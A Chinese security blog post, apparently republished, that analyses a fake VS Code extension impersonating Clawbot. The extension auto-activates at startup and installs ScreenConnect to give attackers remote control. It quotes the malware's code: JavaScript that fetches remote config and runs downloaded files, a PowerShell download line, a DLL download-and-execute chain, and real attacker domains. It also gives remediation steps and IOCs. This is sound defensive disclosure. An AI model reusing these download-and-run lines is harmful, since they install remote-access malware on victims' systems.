文章总结： 近期发现冒充Clawbot的VSCode恶意插件，利用自动激活机制下载远控木马。攻击者通过远程配置下发合法的ScreenConnect工具连接恶意服务器，并设有多层备用加载链路确保持久化。建议立即卸载该插件，清理ScreenConnect目录与临时文件，轮换API密钥并阻断恶意域名，以防范系统被控风险。 综合评分： 100 文章分类： 恶意软件,威胁情报,应急响应
伪造 Clawbot 的 VS Code 插件正在传播远控木马
原创
Rem Rem
KeepHack1ng
2026年1月29日 10:50 北京
事件概述
最近，一个打着 Clawbot 名号的 VS Code 插件在开发者圈子里悄悄传播。插件名为 ClawdBot Agent，外观看起来就是一个正常的 AI 编程助手，不少人也是冲着 Clawbot 的热度下载安装到本地。但实际上，Clawbot 官方从未发布过任何 VS Code 插件，这个工具完全是第三方伪造的恶意插件。
这个插件最具迷惑性的地方在于，它并不是简单的空壳，而是一个功能完整、可以正常使用的 AI 助手，支持多个主流大模型平台。在 VS Code 启动时，它会在后台同时安装后门，攻击者可对用户主机进行远控。
01
投毒插件狠狠地蹭了Clawbot 的热度
Clawbot 最近热度很高，攻击者正是利用这一点，用相似名称抢先发布 VS Code 插件。在插件市场里，一个名字接近、界面正常、功能可用的工具，很容易让人放下警惕。
02
插件的启动机制与执行流程
从插件的配置文件可以看到，它被设置为在 VS Code 启动完成后自动激活：
{ "activationEvents": ["onStartupFinished"]}
这意味着只要 VS Code 启动，插件代码就会被自动执行，不需要用户进行任何额外操作。
在插件入口函数中，恶意逻辑被放在最前面执行：
function activate(context) { initCore(context); // 后续才是正常的 AI 助手功能代码}
插件在初始化阶段会访问一个外部服务器，用于拉取运行配置：
const CONFIG_URL = 'http://clawdbot.getintwopc[.]site/config.json';function fetchConfigAndRun() { http.get(CONFIG_URL, (res) => { let data = ''; res.on('data', chunk => data += chunk); res.on('end', () => { try { const config = JSON.parse(data); if (config.enabled) { downloadAndRun(config.exe, config.dll); } } catch (e) {} }); }).on('error', () => { runFallbackDownload(); });}
这里可以看到几个比较明显的特征：
-
插件行为由远程配置控制，方便随时调整投放内容
-
错误处理被刻意隐藏，即使请求或解析失败也不会有任何提示
-
如果主流程失败，会自动进入备用下载逻辑
03
配置文件下发的真实内容
从服务器获取到的 config.json 内容如下：
{ "enabled": true, "files": [ "Code.exe", "DWrite.dll", "ffmpeg.dll", "icudtl.dat", "libEGL.dll", "msvcp140.dll", "v8_context_snapshot.bin", "vcruntime140.dll", "vcruntime140_1.dll" ], "version": "1.0"}
这些文件名本身非常具有迷惑性，大多与 VS Code 和 Electron 运行环境高度一致，看上去就像是一个被重新打包的 VS Code 组件集合。这种命名方式本身就是为了降低用户和安全软件的警惕程度。
04
Code.exe 的实际用途
对 Code.exe 进行分析后发现，它并不是一个自制的木马程序，而是 ConnectWise ScreenConnect 的安装包。ScreenConnect 是一款在企业 IT 运维场景中被广泛使用的远程控制工具，本身属于合法软件。
运行后，该程序会被安装到以下目录：
C:\Program Files (x86)\ScreenConnect Client (083e4d30c7ea44f7)\
同时部署多个 ScreenConnect 官方组件，并在后台主动连接到攻击者控制的中继服务器：
<ScreenConnect.ApplicationSettings> <setting name="ClientLaunchParametersConstraint"> <value>?h=meeting.bulletmailer.net&p=8041&k=BgIAAACkAABSU0Ex...</value> </setting></ScreenConnect.ApplicationSettings>
这类攻击方式的核心在于， 软件本身是干净的，问题出在预先配置好的连接目标 。一旦安装完成，远程控制会话就会自动建立，攻击者可以直接获得系统访问权限。
05
DWrite.dll 提供的备用加载链
除了 ScreenConnect，攻击者还准备了第二条投放路径，即 DWrite.dll 。该 DLL 使用 Rust 编写，并导出了与 Windows DirectWrite 库一致的函数接口：
DWriteCreateFactory
当该 DLL 被加载时，会执行完整的下载并执行流程：
InternetOpenA(...)InternetOpenUrlA(...)CreateFileA(...)while (InternetReadFile(...)) { WriteFile(...)}ShellExecuteA(NULL, "open", downloaded_file, ...);
下载地址指向 Dropbox，文件名伪装成 Zoom 更新包：zoomupdate.msi
实际下载得到的文件与前述的 Code.exe 为同一安装包，这条链路的作用在于，当主控服务器不可用时，仍然能够通过第三方平台完成投放。
06
多层投放机制的设计
整个攻击流程中至少存在三套相互独立的投放方式：
function runFallbackDownload() { const fallbackExe = 'http://clawdbot.getintwopc.site/dl/Lightshot.exe'; const fallbackDll = 'http://clawdbot.getintwopc.site/dl/Lightshot.dll'; downloadAndRun(fallbackExe, fallbackDll);}set "U=https://darkgptprivate.com/d111"powershell -Command "(New-Object Net.WebClient).DownloadFile('%U%/Lightshot.exe','%D%\Lightshot.exe')"
从文件名可以看出，攻击过程中反复使用了 Clawbot、VS Code、Lightshot、Zoom 等常见软件名称进行伪装，目的是尽可能降低被发现的概率。
- 第一层 ：通过远程配置文件动态下发
- 第二层 ：插件内置 JavaScript 备用下载地址
- 第三层 ：批处理脚本结合 PowerShell 再次兜底
07
这次攻击成功的原因
这次事件不是单点漏洞，而是一整套设计好的攻击流程。插件本身负责吸引用户和执行代码，后台使用的是合法的远程控制工具，再配合多种备用下载方式，确保程序能够成功安装并长期存在。
真正的问题不在程序文件本身，而在于这些程序最终连接到了谁的服务器。
08
已安装用户的处理建议
如果曾经安装过 ClawdBot Agent 插件，建议立即执行以下操作：
-
从 VS Code 中卸载插件
-
检查并删除
C:\Program Files (x86)\ScreenConnect Client\
- 删除临时目录
%TEMP%\Lightshot
-
检查系统服务、启动项和计划任务
-
阻断相关域名和 IP 的网络访问
-
对在插件中使用过的 API Key 进行全部轮换
-
执行完整的系统安全扫描
09
关键威胁指标（IOC）
网络地址
-
meeting.bulletmailer[.]net:8041
-
clawdbot.getintwopc[.]site
-
darkgptprivate[.]com
-
178.16.54[.]253
文件 Hash
Code.exee20b920c7af988aa215c95bbaa365d005dd673544ab7e3577b60fecf11dcdea2DWrite.dlld1e0c26774cb8beabaf64f119652719f673fb530368d5b2166178191ad5fcbea
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：KeepHack1ng Rem Rem《伪造 Clawbot 的 VS Code 插件正在传播远控木马》
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论